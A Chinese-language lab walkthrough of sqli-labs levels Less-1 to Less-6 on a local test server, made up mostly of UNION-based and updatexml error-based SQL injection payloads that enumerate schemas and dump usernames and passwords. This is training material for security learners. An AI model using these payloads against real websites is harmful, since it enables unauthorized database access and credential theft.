SQL注入漏洞复现1

一、靶场信息

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

我是在本地安装小皮搭建环境,相比于在服务器上搭建环境,更加简单

二、注入实操

Less-1

复制代码
爆库名:http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+
复制代码
爆表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

复制代码
爆库名:?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,database()--+
复制代码
爆表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

复制代码
爆库名:?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1') union select 1,2,database()--+
复制代码
爆表名:?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

复制代码
爆库名:?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1") union select 1,2,database()--+
复制代码
爆表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5

复制代码
爆库名:?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+
复制代码
爆表名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+
复制代码
爆列名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
复制代码
字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less-6

复制代码
爆库名:?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
复制代码
爆表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+
复制代码
爆列名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
相关推荐
网安小白的进阶之路9 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-5
网络·安全·web安全
IT 小阿姨(数据库)10 小时前
PostgreSQL 之上的开源时序数据库 TimescaleDB 详解
运维·数据库·sql·postgresql·开源·centos·时序数据库
sadandbad11 小时前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
万事大吉CC12 小时前
SQL表设计与约束教程
数据库·sql
民乐团扒谱机13 小时前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
ANGLAL14 小时前
17.MyBatis动态SQL语法整理
java·sql·mybatis
llxxyy卢14 小时前
基于时间的 SQL 盲注-延时判断和基于布尔的 SQL 盲注
数据库·sql·oracle
珊珊而川15 小时前
MAC-SQL:黄金标准错误
数据库·sql
萤丰信息16 小时前
智慧园区系统:开启园区管理与运营的新时代
java·大数据·人工智能·安全·智慧城市·智慧园区
普普通通的南瓜16 小时前
共筑网络安全,守护绿色家园
安全·web安全·php